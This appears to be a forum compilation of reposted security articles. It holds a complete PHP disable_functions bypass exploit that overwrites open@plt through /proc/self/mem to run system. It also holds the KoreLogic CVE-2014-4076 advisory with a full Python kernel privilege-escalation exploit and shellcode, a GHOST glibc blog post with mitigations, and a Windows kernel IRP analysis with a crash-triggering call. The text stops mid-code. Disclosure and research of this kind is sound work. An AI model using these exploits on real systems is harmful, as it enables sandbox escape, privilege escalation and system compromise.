PHP disable_functions procfs bypass [RU] $ php procfs_bypass.php [*] PHP disable_functions procfs bypass (coded by Beched, RDot.Org) [*] Trying to get open@plt offset in PHP binary [+] Address is 0xe94998 [*] Libc location: /lib/x86_64-linux-gnu/libc-2.19.so [*] Trying to get open and system symbols from Libc [+] Got it. Seeking for address in memory [*] open@plt addr: 0x7f150f86d150 [*] system@plt addr: 0x7f150f7c7530 [*] Rewriting open@plt address [+] Address written. Executing cmd uid=1000(beched) gid=1000(beched) ??????=1000(beched),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),110(sambashare <?php /* $libc_ver: beched@linuxoid ~ $ php -r 'readfile("/proc/self/maps");' | grep libc 7f3dfa609000-7f3dfa7c4000 r-xp 00000000 08:01 9831386 /lib/x86_64-linux-gnu/libc-2.19.so $open_php: beched@linuxoid ~ $ objdump -R /usr/bin/php | grep '\sopen$' 0000000000e94998 R_X86_64_JUMP_SLOT open $system_offset and $open_offset: beched@linuxoid ~ $ readelf -s /lib/x86_64-linux-gnu/libc-2.19.so | egrep "\s(system|open)@@" 1337: 0000000000046530 45 FUNC WEAK DEFAULT 12 system@@GLIBC_2.2.5 1679: 00000000000ec150 90 FUNC WEAK DEFAULT 12 open@@GLIBC_2.2.5 */ function packlli($value) { $higher = ($value & 0xffffffff00000000) >> 32; $lower = $value & 0x00000000ffffffff; return pack('V2', $lower, $higher); } function unp($value) { return hexdec(bin2hex(strrev($value))); } function parseelf($bin_ver, $rela = false) { $bin = file_get_contents($bin_ver); $e_shoff = unp(substr($bin, 0x28, 8)); $e_shentsize = unp(substr($bin, 0x3a, 2)); $e_shnum = unp(substr($bin, 0x3c, 2)); $e_shstrndx = unp(substr($bin, 0x3e, 2)); for($i = 0; $i < $e_shnum; $i += 1) { $sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4)); if($sh_type == 11) { // SHT_DYNSYM $dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8)); $dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); $dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8)); } elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB $strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8)); $strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); } elseif($rela && $sh_type == 4) { // SHT_RELA $relaplt_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8)); $relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); $relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8)); } } if($rela) { for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) { $r_offset = unp(substr($bin, $i, 8)); $r_info = unp(substr($bin, $i + 8, 8)) >> 32; $name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4)); $name = ''; $j = $strtab_off + $name_off - 1; while($bin[++$j] != "\0") { $name .= $bin[$j]; } if($name == 'open') { return $r_offset; } } } else { for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) { $name_off = unp(substr($bin, $i, 4)); $name = ''; $j = $strtab_off + $name_off - 1; while($bin[++$j] != "\0") { $name .= $bin[$j]; } if($name == '__libc_system') { $system_offset = unp(substr($bin, $i + 8, 8)); } if($name == '__open') { $open_offset = unp(substr($bin, $i + 8, 8)); } } return array($system_offset, $open_offset); } } echo " [*] PHP disable_functions procfs bypass (coded by Beched, RDot.Org)\n"; if(strpos(php_uname('a'), 'x86_64') === false) { echo "[-] This exploit is for x64 Linux. Exiting\n"; exit; } if(substr(php_uname('r'), 0, 4) < 2.98) { echo "[-] Too old kernel (< 2.98). Might not work\n"; } echo " [*] Trying to get open@plt offset in PHP binary\n"; $open_php = parseelf('/proc/self/exe', true); if($open_php == 0) { echo "[-] Failed. Exiting\n"; exit; } echo '[+] Offset is 0x' . dechex($open_php) . "\n"; $maps = file_get_contents('/proc/self/maps'); preg_match('#\s+(/.+libc\-.+)#', $maps, $r); echo " [*] Libc location: $r[1]\n"; echo " [*] Trying to get open and system symbols from Libc\n"; list($system_offset, $open_offset) = parseelf($r[1]); if($system_offset == 0 or $open_offset == 0) { echo "[-] Failed. Exiting\n"; exit; } echo "[+] Got them. Seeking for address in memory\n"; $mem = fopen('/proc/self/mem', 'rb'); fseek($mem, $open_php); $open_addr = unp(fread($mem, 8)); echo ' [*] open@plt addr: 0x' . dechex($open_addr) . "\n"; $libc_start = $open_addr - $open_offset; $system_addr = $libc_start + $system_offset; echo ' [*] system@plt addr: 0x' . dechex($system_addr) . "\n"; echo " [*] Rewriting open@plt address\n"; $mem = fopen('/proc/self/mem', 'wb'); fseek($mem, $open_php); if(fwrite($mem, packlli($system_addr))) { echo "[+] Address written. Executing cmd\n"; readfile('/usr/bin/id'); exit; } echo "[-] Write failed. Exiting\n"; Sursa: https://rdot.org/forum/showthread.php?t=3309

Microsoft Windows Server 2003 SP2 Arbitrary Write Privilege Escalation [COLOR=#222222][FONT=Verdana]-----BEGIN PGP SIGNED MESSAGE-----[/FONT][/COLOR]Hash: SHA256 KL-001-2015-001 : Microsoft Windows Server 2003 SP2 Arbitrary Write Privilege Escalation Title: Microsoft Windows Server 2003 SP2 Arbitrary Write Privilege Escalation Advisory ID: KL-001-2015-001 Publication Date: 2015.01.28 Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2015-001.txt 1. Vulnerability Details Affected Vendor: Microsoft Affected Product: TCP/IP Protocol Driver Affected Version: 5.2.3790.4573 Platform: Microsoft Windows Server 2003 Service Pack 2 Architecture: x86, x64, Itanium Impact: Privilege Escalation Attack vector: IOCTL CVE-ID: CVE-2014-4076 2. Vulnerability Description The tcpip.sys driver fails to sufficiently validate memory objects used during the processing of a user-provided IOCTL. 3. Technical Description By crafting an input buffer that will be passed to the Tcp device through the NtDeviceIoControlFile() function, it is possible to trigger a vulnerability that would allow an attacker to elevate privileges. This vulnerability was discovered while fuzzing the tcpip.sys driver. A collection of IOCTLs that could be targeted was obtained and subsequently fuzzed. During this process, one of the crashes obtained originated from the IOCTL 0x00120028. This was performed on an x86 installation of Windows Server 2003, Service Pack 2. ErrCode = 00000000 eax=00000000 ebx=859ef888 ecx=00000008 edx=00000100 esi=00000000 edi=80a58270 eip=f67ebbbd esp=f620a9c8 ebp=f620a9dc iopl=0 nv up ei pl zr na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246 tcpip!SetAddrOptions+0x1d: f67ebbbd 8b5e28 mov ebx,dword ptr [esi+28h] ds:0023:00000028=???????? A second chance exception has occurred during a mov instruction. This instruction is attempting to copy a pointer value from an un-allocated address space. Since no pointer can be found, an exception is generated. Let's begin by reviewing the call stack: kd> kv *** Stack trace for last set context - .thread/.cxr resets it ChildEBP RetAddr Args to Child f620a9dc f67e416b f620aa34 00000022 00000004 tcpip!SetAddrOptions+0x1d (FPO: [Non-Fpo]) f620aa10 f67e40de f620aa34 859ef888 859ef8a0 tcpip!TdiSetInformationEx+0x539 (FPO: [Non-Fpo]) f620aa44 f67e3b24 85a733d0 85a73440 85a73440 tcpip!TCPSetInformationEx+0x8c (FPO: [Non-Fpo]) f620aa60 f67e3b51 85a733d0 85a73440 85a733d0 tcpip!TCPDispatchDeviceControl+0x149 (FPO: [Non-Fpo]) f620aa98 8081d7d3 85c4b410 85a733d0 85e82390 tcpip!TCPDispatch+0xf9 (FPO: [Non-Fpo]) f620aaac 808ef85d 85a73440 85e82390 85a733d0 nt!IofCallDriver+0x45 (FPO: [Non-Fpo]) f620aac0 808f05ff 85c4b410 85a733d0 85e82390 nt!IopSynchronousServiceTail+0x10b (FPO: [Non-Fpo]) f620ab5c 808e912e 000006f4 00000000 00000000 nt!IopXxxControlFile+0x5e5 (FPO: [Non-Fpo]) f620ab90 f55c10fa 000006f4 00000000 00000000 nt!NtDeviceIoControlFile+0x2a (FPO: [Non-Fpo]) The nt!NtDeviceIoControlFile() function was called, creating a chain of subsequent function calls that eventually led to the tcpip!SetAddrOptions() function being called. By de-constructing the call to nt!NtDeviceIoControlFile() we can derive all required information to re-create this exception. 0a b940dd34 80885614 nt!NtDeviceIoControlFile+0x2a eax=00000000 ebx=8c785070 ecx=00000000 edx=00000000 esi=00000000 edi=00000000 eip=808e912e esp=b940dd08 ebp=b940dd34 iopl=0 nv up ei pl zr na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246 nt!NtDeviceIoControlFile+0x2a: 808e912e 5d pop ebp kd> db [ebp+2C] L?0x4 b940dd60 00 00 00 00 .... kd> db [ebp+28] L?0x4 b940dd5c 00 00 00 00 .... kd> db [ebp+24] L?0x4 b940dd58 20 00 00 00 ... kd> db [ebp+20] L?0x4 b940dd54 00 11 00 00 .... kd> db [ebp+1c] L?0x4 b940dd50 28 00 12 00 (... kd> db [ebp+18] L?0x4 b940dd4c 58 4f bd 00 XO.. kd> db [ebp+14] L?0x4 b940dd48 00 00 00 00 .... kd> db [ebp+10] L?0x4 b940dd44 00 00 00 00 .... kd> db [ebp+0c] L?0x4 b940dd40 00 00 00 00 .... kd> db [ebp+8] L?0x4 b940dd3c b8 06 00 00 .... The inputBuffer for this call references memory at 0x1000 with a length of 0x20. kd> db 0x1100 L?0x20 00001100 00 04 00 00 00 00 00 00-00 02 00 00 00 02 00 00 ................ 00001110 22 00 00 00 04 00 00 00-00 00 01 00 00 00 00 00 "............... After review of the tcpip.sys driver, some memory trickery was created to control the code flow until the instruction pointer could be controlled in a way that would be beneficial to an attacker. kd> db 0x28 L?0x11 00000028 87 ff ff 38 00 00 00 00-00 00 00 00 00 00 00 00 ...8............ 00000038 01 eax=00000000 ebx=80a58290 ecx=00000000 edx=00000000 esi=00000000 edi=00000000 eip=0000002a esp=b940db3c ebp=b940db60 iopl=0 nv up ei pl zr na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246 0000002a ff ??? Since the instruction pointer now contains 0x0000002a, exploitation becomes trivial. Merely allocating the desired payload for execution at this memory address will allow for unprivileged users to run their payload within a privileged process. 4. Mitigation and Remediation Recommendation The vendor has issued a patch for this vulnerability, the details of which are presented in the vendor's public acknowledgment MS14-070 (https://technet.microsoft.com/library/security/MS14-070). 5. Credit This vulnerability was discovered by Matt Bergin of KoreLogic Security, Inc. 6. Disclosure Timeline 2014.04.28 - Initial contact; sent Microsoft report and PoC. 2014.04.28 - Microsoft requests PoC. 2014.04.29 - KoreLogic resends PoC from the initial contact email. 2014.04.29 - Microsoft acknowledges receipt of vulnerability report. 2014.04.29 - Microsoft opens case 19010 (MSRC 0050929) to investigate the vulnerability. 2014.04.30 - Microsoft informs KoreLogic that the case is actively being investigated. 2014.05.30 - Microsoft informs KoreLogic that the case is actively being investigated. 2014.06.11 - KoreLogic informs Microsoft that 30 business days have passed since vendor acknowledgment of the initial report. KoreLogic requests CVE number for the vulnerability, if there is one. KoreLogic also requests vendor's public identifier for the vulnerability along with the expected disclosure date. 2014.06.24 - KoreLogic informs Microsoft that no response was received following the 06.11.14 email. KoreLogic requests CVE number for the vulnerability, if there is one. KoreLogic also requests vendor's public identifier for the vulnerability along with the expected disclosure date. 2014.06.24 - Microsoft replies to KoreLogic that they have reproduced the vulnerability and are determining how to proceed with the supplied information. They are not able to provide a CVE or an expected disclosure date. 2014.07.02 - 45 business days have elapsed since Microsoft acknowledged receipt of the vulnerability report and PoC. 2014.07.17 - KoreLogic requests CVE number for the vulnerability. KoreLogic also requests vendor's public identifier for the vulnerability along with the expected disclosure date. 2014.08.18 - Microsoft notifies KoreLogic that they have a CVE but are not willing to share it with KoreLogic at this time. 2014.09.08 - KoreLogic requests CVE number for the vulnerability. KoreLogic also requests vendor's public identifier for the vulnerability along with the expected disclosure date. 2014.09.11 - Microsoft responds saying that the vulnerability is expected to be disclosed in "a Fall release" and that "it is currently looking good for October." Does not provide CVE. 2014.09.24 - Microsoft informs KoreLogic that there was a packaging issue and that the patch will be pushed to November. 2014.11.03 - Microsoft confirms the patch will ship in November. 2014.11.11 - Vulnerability publicly disclosed by Microsoft as issue MS14-070 with CVE-2014-4076. 2015.01.28 - KoreLogic releases advisory. 7. Exploit #!/usr/bin/python2 # # KL-001-2015-001 / MS14-070 / CVE-2014-4076 # Microsoft Windows Server 2003 x86 Tcpip.sys Privilege Escalation # Matt Bergin @ KoreLogic / Level @ Smash the Stack # shout out to bla # from optparse import OptionParser from subprocess import Popen from os.path import exists from struct import pack from threading import Thread from time import sleep from ctypes import * from sys import exit CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory = windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory DeviceIoControlFile,CloseHandle = windll.ntdll.ZwDeviceIoControlFile,windll.kernel32.CloseHandle INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0 def spawn_process(path): process = Popen([path],shell=True) pid = process.pid return def main(): print "CVE-2014-4076 x86 exploit, Level\n" global pid, process parser = OptionParser() parser.add_option("--path",dest="path",help="path of process to start and elevate") parser.add_option("--pid",dest="pid",help="pid of running process to elevate") o,a = parser.parse_args() if (o.path == None and o.pid == None): print "[!] no path or pid set" exit(1) else: if (o.path != None): if (exists(o.path) != True): print "[!] path does not exist" exit(1) else: Thread(target=spawn_process,args=(o.path),name='attacker-cmd').start() if (o.pid != None): try: pid = int(o.pid) except: print "[!] could not convert PID to an interger." exit(1) while True: if ("pid" not in globals()): sleep(1) else: print "[+] caught attacker cmd at %s, elevating now" % (pid) break buf = "\x00\x04\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x22\x00\x00\x00\x04\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00" sc = "\x60\x64\xA1\x24\x01\x00\x00\x8B\x40\x38\x50\xBB\x04\x00\x00\x00\x8B\x80\x98\x00\x00\x00\x2D\x98\x00\x00\x00\x39\x98\x94\x00\x00\x00\x75\xED\x8B\xB8\xD8\x00\x00\x00\x83\xE7\xF8\x58\xBB\x41\x41\x41\x41\x8B\x80\x98\x00\x00\x00\x2D\x98\x00\x00\x00\x39\x98\x94\x00\x00\x00\x75\xED\x89\xB8\xD8\x00\x00\x00\x61\xBA\x11\x11\x11\x11\xB9\x22\x22\x22\x22\xB8\x3B\x00\x00\x00\x8E\xE0\x0F\x35\x00" sc = sc.replace("\x41\x41\x41\x41",pack('<L',pid)) sc = sc.replace("\x11\x11\x11\x11","\x39\xff\xa2\xba") sc = sc.replace("\x22\x22\x22\x22","\x00\x00\x00\x00") handle = CreateFileA("\\\\.\\Tcp",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None) if (handle == -1): print "[!] could not open handle into the Tcp device" exit(1) print "[+] allocating memory" ret_one = NtAllocateVirtualMemory(-1,byref(c_int(0x1000)),0x0,byref(c_int(0x4000)),0x1000|0x2000,0x40) if (ret_one != 0): print "[!] could not allocate memory..." exit(1) print "[+] writing relevant memory..." ret_two = WriteProcessMemory(-1, 0x28, "\x87\xff\xff\x38", 4, byref(c_int(0))) ret_three = WriteProcessMemory(-1, 0x38, "\x00"*2, 2, byref(c_int(0))) ret_four = WriteProcessMemory(-1, 0x1100, buf, len(buf), byref(c_int(0))) ret_five = WriteProcessMemory(-1, 0x2b, "\x00"*2, 2, byref(c_int(0))) ret_six = WriteProcessMemory(-1, 0x2000, sc, len(sc), byref(c_int(0))) print "[+] attack setup done, crane kick!" DeviceIoControlFile(handle,NULL,NULL,NULL,byref(c_ulong(8)),0x00120028,0x1100,len(buf),0x0,0x0) CloseHandle(handle) exit(0) if __name__=="__main__": main() The contents of this advisory are copyright(c) 2015 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v1.0.txt -----BEGIN PGP SIGNATURE----- iQEcBAEBCAAGBQJUya/SAAoJEE1lmiwOGYkM1BIH/AznEH5nadamN6PSucr53QnH jj4P0ab+qtTIzToVXrxDvScSf7O7ZySOr9y3vvW2W+yfRknbrQCueu+8uLNzRFbr o8T4HB0Ahcy4XmI+9CVLoIQydo6nykciD1sRpVALo5UnCgzlcZn8MJB/2RCYNZJb CCqx7kuL+xxTmoQeCGUSy/Gy3sfvwVhwmsyiBxW7Y5v/xt2RgaYPaOAEjML6IHtY IrtHJQtVhdmXb+p9MaLi4D5WGDjydDG/yTmuZYRmBc+k6B7TiaFfzXX/1ecVLVn9 FmQFy0qa7fQWty4e39/0d0yqw4nUn/1saDpSgmrlox6ZkZYaapTRF/sNcExcY54= =1+YJ [COLOR=#222222][FONT=Verdana]-----END PGP SIGNATURE-----[/FONT][/COLOR] Sursa: https://www.korelogic.com/Resources/Advisories/KL-001-2015-001.txt

GHOST gethostbyname() heap overflow in glibc (CVE-2015-0235) A heap-based buffer overflow vulnerability in glibc (CVE-2015-0235) was announced this week. It seems as though all new vulnerabilities need to have catchy marketing names so this one was dubbed "GHOST" which was derived from the vulnerable glibc function name - "GetHOSTbyname()". Vulnerability Notes Here are the key points thus far: The vulnerability affects all versions of glibc from glibc-2.17 and lower The bug was patched in glibc-2.18 in May 2013, but was not marked as a security bug so the fix did not make it into many common Linux distributions like RedHat and Ubuntu. To our knowledge, this is not currently being exploited in the wild Qualys has not released any PoC code but they plan to release a Metasploit module in the near future. Qualys was able to remotely exploit a mail server running Exim mail software but it’s unclear what other software might be vulnerable. (They are working on a metapsloit module specifically for the Exim exploit) Regarding other Linux server software Qualys wrote: "to the best of our knowledge, the buffer overflow cannot be triggered in any of [these]: apache, cups, dovecot, gnupg, isc-dhcp, lighttpd, mariadb/mysql, nfs-utils, nginx, nodejs, openldap, openssh, postfix, proftpd, pure-ftpd, rsyslog, samba, sendmail, sysklogd, syslog-ng, tcp_wrappers, vsftpd, xinetd." Wordpress XML-RPC Pingback Vector It has been speculated that the XML-RPC pingback functionality in Wordpress installs may be vulnerable to remote exploitation. We decided to run some tests to see if it is in fact vulnerable. We previously did a blog post outlining how the Wordpress XML-RPC "pingback" functionality could be abused by attackers to force unsuspecting websites into participating in DDoS attacks. To summarize, in that attack, the attacker sends an XML request to the "/xmlrpc.php" script: The YELLOW highlighted data is a WordPress "Patsy Proxy" site while the ORANGE highlighted data is the DDoS target/victim website. In this scenario, the XML-RPC "pingback" code in PHP is using the gethostbyname() function call on the ORANGE highlighted data so that it can resolve it to an IP address for the remote request it will send. This is the exploit vector we chose to focus on for GHOST testing. Modifying Input for GHOST Vulnerability Testing Instead of sending a normal sized URL in the XML pingback.ping method body, we need to send a large one. Here is a Ruby PoC script: The script takes command line arguments for the size of payload that you want to send. During our testing in SpiderLabs Research, we identified different size ranges that worked on different platform/versions of glibc, php and wordpress. After sending the attack payload, we have seen the HTTP process responds with the following: 500 HTTP Response Status code with php-cgi No HTTP Response with mod_php There are errors in the Apache error_log file when the process crashes: This PoC allows users to remotely verify if a target web server is vulnerable to the CVE however it does not demonstrate exploitability. Here is the glibc and php version information for the two systems we used during this test: Recommendations Install glibc Patches Example for Ubuntu Linux Distributions: sudo apt-get clean sudo apt-get update sudo apt-get upgrade And don't forget to reboot! Disable XML-RPC It is possible to disable the XML-RPC process altogether if you do not want to use it. There are even plugins that will disable it. Disable Pingback Requests You may also disable the pingback feature by adding the following to your functions.php file: WAF Protections By using a WAF, you can identify initial pingback XML requests on your Wordpress site and look for attacks. The Trustwave WAF has a profiling and learning engine called "Adaption" that is able to identify these types of anomalies vs. normal user traffic. We have also added rules to our commercial SpiderLabs ModSecurity rules package to identify this specific PoC attack vector. Monitor Your Logs When attackers are attempting to exploit this vulnerability against your web servers, there will most likely be error messages (segmentation faults, etc...) that will indicate a problem. Organizations should be vigilant in monitoring their logs and following up on an anomalous errors. Acknowledgments I would like to thank my fellow SpiderLabs Research colleagues who helped with testing and the content of this blog post: Robert Rowley Christophe De La Fuente Chaim Sanders Felipe Costa Jonathan Claudius Karl Sigler Posted by Ryan Barnett on 29 January 2015 Sursa: http://blog.spiderlabs.com/2015/01/ghost-gethostbyname-heap-overflow-in-glibc-cve-2015-0235.html

Analysis Of An Interesting Windows Kernel Change Mitigating Vulnerabilities In Some Security Products Posted by Parvez on January 28, 2015 Last year I started researching into the Windows kernel to get a better understanding of privilege escalation vulnerabilities. Vulnerabilities in the kernel are a serious issue as they could be used to bypass browsers sandboxes and end up compromising the entire system. In general most people assume that security products are developed with security in mind and can be trusted, so I thought I would start my assessment on security products and see how secure they really are from kernel attacks. Within a couple of months of research six vulnerabilities had already been discovered in various products from different vendors. What was particularly interesting is that they all exhibited the same type of vulnerability, which only seemed to exist on older operating systems. This blog post details the technical research carried out in order to pinpoint the root cause as to what had changed from Windows XP and Windows Server 2003 to later Windows operating systems. The vulnerability The vulnerability exists when drivers do not validate the output buffer address and output buffer size. Applications wanting to talk to the kernel communicate through the use of theDeviceIOControl function. DeviceIoControl(hDevice, 0x00222000, inbuffer, BUFSIZE, (LPVOID)0xF4F5F6F7, 0, &dwRetBytes, NULL);In this example we can see two things of interest, first is that using LPVOID we can send in a hardcoded output buffer address and second is the output buffer length has been defined to 0. Sending this to a vulnerable driver will trigger a bugcheck. Debugger Output In the bugcheck analysis below the write address is the same as passed through the DeviceIOControl function, which basically means we have found an arbitrary memory overwrite vulnerability. If we look at the call stack, the bugcheck was triggered in function nt!IopCompleteRequest kd> !analyze -v *************************************************************************** * * * Bugcheck Analysis * * * *************************************************************************** PAGE_FAULT_IN_NONPAGED_AREA (50) Invalid system memory was referenced. This cannot be protected by try-except, it must be protected by a Probe. Typically the address is just plain bad or it is pointing at freed memory. Arguments: Arg1: f4f5f6f7, memory referenced. Arg2: 00000001, value 0 = read operation, 1 = write operation. Arg3: 804ec09b, If non-zero, the instruction address which referenced the bad memory address. Arg4: 00000000, (reserved) Debugging Details: ------------------ Could not read faulting driver name WRITE_ADDRESS: f4f5f6f7 FAULTING_IP: nt!IopCompleteRequest+92 804ec09b f3a5 rep movs dword ptr es:[edi],dword ptr [esi] MM_INTERNAL_CODE: 0 CUSTOMER_CRASH_COUNT: 1 DEFAULT_BUCKET_ID: DRIVER_FAULT BUGCHECK_STR: 0x50 PROCESS_NAME: dos_greyhat.exe IRP_ADDRESS: 86593dd8 DEVICE_OBJECT: 866e10f0 LAST_CONTROL_TRANSFER: from 804ec11a to 804ec09b STACK_TEXT: f411baec 804ec11a 86593e18 f411bb38 f411bb2c nt!IopCompleteRequest+0x92 f411bb3c 806f5c0e 00000000 00000000 f411bb54 nt!KiDeliverApc+0xb3 f411bb3c 806f00b3 00000000 00000000 f411bb54 hal!HalpApcInterrupt2ndEntry+0x31 f411bbc8 804e53cc 86593e18 86593dd8 00000000 hal!KfLowerIrql+0x43 f411bbe8 804ec134 86593e18 8659f3e0 00000000 nt!KeInsertQueueApc+0x4b f411bc1c f7e99562 8659f3e0 86594390 86593dd8 nt!IopfCompleteRequest+0x1d8 WARNING: Stack unwind information not available. Following frames may be wrong. f411bc34 804e3767 866e10f0 867cf288 806f0070 ghhpoc+0x562 f411bc44 805682ab 86593e48 8659f3e0 86593dd8 nt!IopfCallDriver+0x31 f411bc58 805771e2 866e10f0 86593dd8 8659f3e0 nt!IopSynchronousServiceTail+0x70 f411bd00 80579705 000007e8 00000000 00000000 nt!IopXxxControlFile+0x611 f411bd34 804de7f8 000007e8 00000000 00000000 nt!NtDeviceIoControlFile+0x2a f411bd34 7c90e514 000007e8 00000000 00000000 nt!KiSystemServicePostCall 0012fe3c 00000000 00000000 00000000 00000000 0x7c90e514 STACK_COMMAND: kb FOLLOWUP_IP: ghhpoc+562 f7e99562 ?? ??? SYMBOL_STACK_INDEX: 6 SYMBOL_NAME: ghhpoc+562 FOLLOWUP_NAME: MachineOwner MODULE_NAME: ghhpoc IMAGE_NAME: ghhpoc.sys DEBUG_FLR_IMAGE_TIMESTAMP: 54b18dfe FAILURE_BUCKET_ID: 0x50_ghhpoc+562 BUCKET_ID: 0x50_ghhpoc+562 Followup: MachineOwner --------- kd> r eax=00000008 ebx=86593dd8 ecx=00000002 edx=00000000 esi=867cf288 edi=f4f5f6f7 eip=804ec09b esp=f411baa8 ebp=f411baec iopl=0 nv up ei pl nz na po nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202 nt!IopCompleteRequest+0x92: 804ec09b f3a5 rep movs dword ptr es:[edi],dword ptr [esi] Vulnerable Driver Analysis Reverse engineering the driver the bugcheck is triggered after the call of the functionIofCompleteRequest. The IoCompleteRequest function indicates that the driver has completed all processing for a given IRP and is returning the IRP back to the I/O manager. IRP is an I/O request packet and is how Windows communicates with drivers. The IRP data structure contains information used by drivers. Comparing IRP data Since the goal was to find the root cause as to why this vulnerability only applies to older versions of Windows, I started comparing Windows XP to Windows 7. Setting a breakpoint before our call to the IoCompleteRequest function and looking at the IRP data in WinDbg, we can see UserBuffer contains the address of our output buffer address. One noticeable change was the “Flags” value. Windows XP had a value of 0x70 whereas Windows 7 had a value of 0x60030 In Windows XP ebx contains pointer to IRP kd> dt nt!_irp @ebx +0x000 Type : 6 +0x002 Size : 0x94 +0x004 MdlAddress : (null) +0x008 Flags : 0x70 +0x00c AssociatedIrp : __unnamed +0x010 ThreadListEntry : _LIST_ENTRY [ 0x8650dfb0 - 0x8650dfb0 ] +0x018 IoStatus : _IO_STATUS_BLOCK +0x020 RequestorMode : 1 '' +0x021 PendingReturned : 0 '' +0x022 StackCount : 1 '' +0x023 CurrentLocation : 3 '' +0x024 Cancel : 0 '' +0x025 CancelIrql : 0 '' +0x026 ApcEnvironment : 0 '' +0x027 AllocationFlags : 0xc '' +0x028 UserIosb : 0x0012fe18 _IO_STATUS_BLOCK +0x02c UserEvent : (null) +0x030 Overlay : __unnamed +0x038 CancelRoutine : (null) +0x03c UserBuffer : 0xf4f5f6f7 +0x040 Tail : __unnamedIn Windows 7 esi contains pointer to IRP kd> dt nt!_irp @esi +0x000 Type : 6 +0x002 Size : 0x94 +0x004 MdlAddress : (null) +0x008 Flags : 0x60030 +0x00c AssociatedIrp : <unnamed-tag> +0x010 ThreadListEntry : _LIST_ENTRY [ 0x85257f94 - 0x85257f94 ] +0x018 IoStatus : _IO_STATUS_BLOCK +0x020 RequestorMode : 1 '' +0x021 PendingReturned : 0 '' +0x022 StackCount : 1 '' +0x023 CurrentLocation : 3 '' +0x024 Cancel : 0 '' +0x025 CancelIrql : 0 '' +0x026 ApcEnvironment : 0 '' +0x027 AllocationFlags : 0x6 '' +0x028 UserIosb : 0x0023f7b8 _IO_STATUS_BLOCK +0x02c UserEvent : (null) +0x030 Overlay : <unnamed-tag> +0x038 CancelRoutine : (null) +0x03c UserBuffer : 0xf4f5f6f7 +0x040 Tail : <unnamed-tag>IoCompleteRequest Analysis The exported function IoCompleteRequest in ntoskrnl.exe ends up calling IopCompleteRequest function. We can see on Windows XP that it does a bitwise 40 AND 70 and jumps to the inlined memcpy code which ends up triggering the bugcheck. On Windows 7 we see the bitwise 40 AND 30 takes a different codepath and never hits our memcpy. The “test al, 40h” instruction on Windows 7 branches off to another codepath as its doing a bitwise 40 AND 30 instead of bitwise 40 AND 70 as al=30h on Windows 7 which is from the IRP flags value. IopXxxControlFile Analysis “So what causes the flags value to be 30h instead of 70h?” was my next question. After some investigation I discovered that IopXxxControlFile held the answer. The IopXxxControlFile function had been called earlier in our call stack. This function does a number of checks and validations on the inputs provided such as if addresses are in user space, buffer lengths, etc. and sets up our data in IRP. In this function near the beginning it calls the ProbeForWrite function which checks if the address falls in the user space range and writable. The first thing the function does though is check the output buffer length, if zero it returns back to the IopXxxControlFile function without even checking the output buffer address. The ProbeForWrite function below is from Windows XP but is also the same for Windows 7. Returning back to the IopXxxControlFile function and after a number of checks near the end of the code we see our output buffer address being placed in the IRP UserBuffer field and Flags value being updated to 0x70, all it checks on Windows XP if an output buffer address is available. On Windows 7 we finally discover the root cause as to what has changed in the IopXxxControlFile function. It checks the output buffer length instead of the output buffer address. Since the output buffer length is 0 the flags value does not get set to 0x70 thus mitigating the vulnerability. What do these flags values mean? So what do these values 10h, 30h, 40h and 70h represent? Searching through wdm.h header file I found these definitions: #define IRP_BUFFERED_IO 0x00000010 #define IRP_DEALLOCATE_BUFFER 0x00000020 #define IRP_INPUT_OPERATION 0x00000040The values are set in IopXxxControlFile function by performing an OR operation. So doing an OR on IRP_BUFFERED_IO | IRP_DEALLOCATE_BUFFER produces a value of 30h Converting into code it will look something like this // Windows XP Irp->Flags = IRP_BUFFERED_IO | IRP_DEALLOCATE_BUFFER; Irp->UserBuffer = pBufferOut; if (pBufferOut) Irp->Flags = IRP_BUFFERED_IO | IRP_DEALLOCATE_BUFFER | IRP_INPUT_OPERATION;// Windows 7 Irp->Flags = IRP_BUFFERED_IO | IRP_DEALLOCATE_BUFFER; Irp->UserBuffer = pBufferOut; if (iBufferOutSize) Irp->Flags = IRP_BUFFERED_IO | IRP_DEALLOCATE_BUFFER | IRP_INPUT_OPERATION;When it comes to carry its memcpy operation in IoCompleteRequest function it will look something like this if (Irp->Flags & IRP_BUFFERED_IO) { if ((Irp->Flags & 